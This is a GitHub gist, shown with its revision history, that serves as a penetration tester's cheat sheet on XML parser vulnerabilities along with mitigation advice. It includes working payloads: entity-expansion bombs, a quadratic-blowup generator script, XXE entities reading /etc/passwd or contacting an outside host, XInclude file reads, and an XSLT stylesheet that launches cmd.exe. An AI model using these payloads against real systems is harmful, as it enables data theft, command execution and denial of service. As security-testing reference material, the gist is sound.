Skip to content

Instantly share code, notes, and snippets.

@naveen12
Forked from mgeeky/xml-attacks.md
Created March 13, 2018 10:48
Show Gist options
  • Select an option

  • Save naveen12/5d57fc656f6fb273c9b1d270f64a4f79 to your computer and use it in GitHub Desktop.

Select an option

Save naveen12/5d57fc656f6fb273c9b1d270f64a4f79 to your computer and use it in GitHub Desktop.

Revisions

  1. @mgeeky mgeeky revised this gist Dec 21, 2017. 1 changed file with 2 additions and 2 deletions.
    4 changes: 2 additions & 2 deletions xml-attacks.md
    Original file line number Diff line number Diff line change
    @@ -132,8 +132,8 @@ An XML External Entity attack is a type of attack against an application that pa
    ```

    Other XXE payloads worth testing:
    [XXE-Payloads](https://gist.github.com/mgeeky/181c6836488e35fcbf70290a048cd51d)
    [Blind-XXE-Payload](https://gist.github.com/mgeeky/cf677de6e7fdc05803f6935de1ee0882)
    - [XXE-Payloads](https://gist.github.com/mgeeky/181c6836488e35fcbf70290a048cd51d)
    - [Blind-XXE-Payload](https://gist.github.com/mgeeky/cf677de6e7fdc05803f6935de1ee0882)

    ---

  2. @mgeeky mgeeky revised this gist Dec 21, 2017. 1 changed file with 4 additions and 0 deletions.
    4 changes: 4 additions & 0 deletions xml-attacks.md
    Original file line number Diff line number Diff line change
    @@ -131,6 +131,10 @@ An XML External Entity attack is a type of attack against an application that pa
    <!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>
    ```

    Other XXE payloads worth testing:
    [XXE-Payloads](https://gist.github.com/mgeeky/181c6836488e35fcbf70290a048cd51d)
    [Blind-XXE-Payload](https://gist.github.com/mgeeky/cf677de6e7fdc05803f6935de1ee0882)

    ---

    ### DTD Retrieval
  3. @mgeeky mgeeky revised this gist Dec 21, 2017. 1 changed file with 9 additions and 0 deletions.
    9 changes: 9 additions & 0 deletions xml-attacks.md
    Original file line number Diff line number Diff line change
    @@ -115,6 +115,15 @@ An XML External Entity attack is a type of attack against an application that pa
    <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
    ```

    ```
    <?xml version="1.0" ?>
    <!DOCTYPE r [
    <!ELEMENT r ANY >
    <!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
    ]>
    <r>&sp;</r>
    ```

    ```
    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [
  4. @mgeeky mgeeky revised this gist Nov 30, 2017. 1 changed file with 0 additions and 1 deletion.
    1 change: 0 additions & 1 deletion xml-attacks.md
    Original file line number Diff line number Diff line change
    @@ -2,7 +2,6 @@

    ## XML Vulnerabilities

    ---

    XML processing modules may be not secure against maliciously constructed data. An attacker could abuse XML features to carry out denial of service attacks, access logical files, generate network connections to other machines, or circumvent firewalls.

  5. @mgeeky mgeeky created this gist Nov 30, 2017.
    209 changes: 209 additions & 0 deletions xml-attacks.md
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,209 @@


    ## XML Vulnerabilities

    ---

    XML processing modules may be not secure against maliciously constructed data. An attacker could abuse XML features to carry out denial of service attacks, access logical files, generate network connections to other machines, or circumvent firewalls.

    The penetration tester running XML tests against application will have to determine which XML parser is in use, and then to what kinds of below listed attacks that parser will be vulnerable.

    ---

    ### How to avoid XML vulnerabilities

    Best practices

    - Don't allow DTDs
    - Don't expand entities
    - Don't resolve externals
    - Limit parse depth
    - Limit total input size
    - Limit parse time
    - Favor a SAX or iterparse-like parser for potential large data
    - Validate and properly quote arguments to XSL transformations and XPath queries
    - Don't use XPath expression from untrusted sources
    - Don't apply XSL transformations that come untrusted sources

    (based on [Brad Hill's Attacking XML Security](https://www.isecpartners.com/media/12976/iSEC-HILL-Attacking-XML-Security-bh07.pdf))

    ---

    ### Billion Laughs

    The [Billion Laughs](https://en.wikipedia.org/wiki/Billion_laughs) attack – also known as exponential entity expansion – uses multiple levels of nested entities. Each entity refers to another entity several times, and the final entity definition contains a small string. The exponential expansion results in several gigabytes of text and consumes lots of memory and CPU time.

    ```
    <?xml version="1.0"?>
    <!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ELEMENT lolz (#PCDATA)>
    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    ]>
    <lolz>&lol9;</lolz>
    ```

    **YAML bomb**:

    ```
    a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
    b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
    c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
    d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
    e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
    f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
    g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
    h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
    i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
    ```

    ---

    ### Quadratic Blowup

    A quadratic blowup attack is similar to a [Billion Laughs](https://en.wikipedia.org/wiki/Billion_laughs) attack; it abuses entity expansion, too. Instead of nested entities it repeats one large entity with a couple of thousand chars over and over again. The attack isn’t as efficient as the exponential case but it avoids triggering parser countermeasures that forbid deeply-nested entities.

    If an attacker defines the entity `"&x;"` as 55,000 characters long, and refers to that entity 55,000 times inside the `"DoS"` element, the parser ends up with an XML Quadratic Blowup attack payload slightly over 200 KB in size that expands to 2.5 GB when parsed.

    **genQuadraticBlowup.py**
    ```
    #!/usr/bin/python3
    NUM = 55000
    def main():
    entity = 'A' * NUM
    refs = '&x;' * NUM
    templ = '''<?xml version="1.0"?>
    <!DOCTYPE DoS [
    <!ENTITY x "{entity}">
    ]>
    <DoS>{entityReferences}</DoS>
    '''.format(entity=entity, entityReferences=refs)
    print(templ)
    if __name__ == '__main__':
    main()
    ```

    ---

    ### XML External Entities expansion / XXE

    An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.


    ```
    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
    ```

    ```
    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
    ```

    ```
    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>
    ```

    ---

    ### DTD Retrieval

    This case is similar to external entity expansion, too. Some XML libraries like Python's xml.dom.pulldom retrieve document type definitions from remote or local locations. Several attack scenarios from the external entity case apply to this issue as well.

    ```
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html>
    <head/>
    <body>text</body>
    </html>
    ```

    ---

    ### Decompression Bomb

    Decompression bombs (aka [ZIP bomb](https://en.wikipedia.org/wiki/Zip_bomb)) apply to all XML libraries that can parse compressed XML streams such as gzipped HTTP streams or LZMA-compressed files. For an attacker it can reduce the amount of transmitted data by three magnitudes or more.

    ```
    $ dd if=/dev/zero bs=1M count=1024 | gzip > zeros.gz
    $ dd if=/dev/zero bs=1M count=1024 | lzma -z > zeros.xy
    $ ls -sh zeros.*
    1020K zeros.gz
    148K zeros.xy
    ```


    ---

    ### XPath Injection

    XPath injeciton attacks pretty much work like SQL injection attacks. Arguments to XPath queries must be quoted and validated properly, especially when they are taken from the user. The page [Avoid the dangers of XPath injection](http://www.ibm.com/developerworks/xml/library/x-xpathinjection/index.html) list some ramifications of XPath injections.

    ---

    ### XInclude

    XML Inclusion is another way to load and include external files:

    ```
    <root xmlns:xi="http://www.w3.org/2001/XInclude">
    <xi:include href="filename.txt" parse="text" />
    </root>
    ```


    This feature should be disabled when XML files from an untrusted source are processed. Some Python XML libraries and libxml2 support XInclude but don't have an option to sandbox inclusion and limit it to allowed directories.

    ---

    ### XSL Transformation

    You should keep in mind that XSLT is a Turing complete language. Never process XSLT code from unknown or untrusted source! XSLT processors may allow you to interact with external resources in ways you can't even imagine. Some processors even support extensions that allow read/write access to file system, access to JRE objects or scripting with Jython.

    Example from [Attacking XML Security](https://www.isecpartners.com/media/12976/iSEC-HILL-Attacking-XML-Security-bh07.pdf) for Xalan-J:

    ```
    <xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
    xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
    exclude-result-prefixes= "rt ob">
    <xsl:template match="/">
    <xsl:variable name="runtimeObject" select="rt:getRuntime()"/>
    <xsl:variable name="command"
    select="rt:exec($runtimeObject, &apos;c:\Windows\system32\cmd.exe&apos;)"/>
    <xsl:variable name="commandAsString" select="ob:toString($command)"/>
    <xsl:value-of select="$commandAsString"/>
    </xsl:template>
    </xsl:stylesheet>
    ```

    ---

    ### SOURCES

    - https://github.com/tiran/defusedxml
    - https://docs.python.org/3/library/xml.html#xml-vulnerabilities
    - https://www.darknet.org.uk/2014/08/xml-quadratic-blowup-attack-blow-wordpress-drupal/
    - https://en.wikipedia.org/wiki/Billion_laughs_attack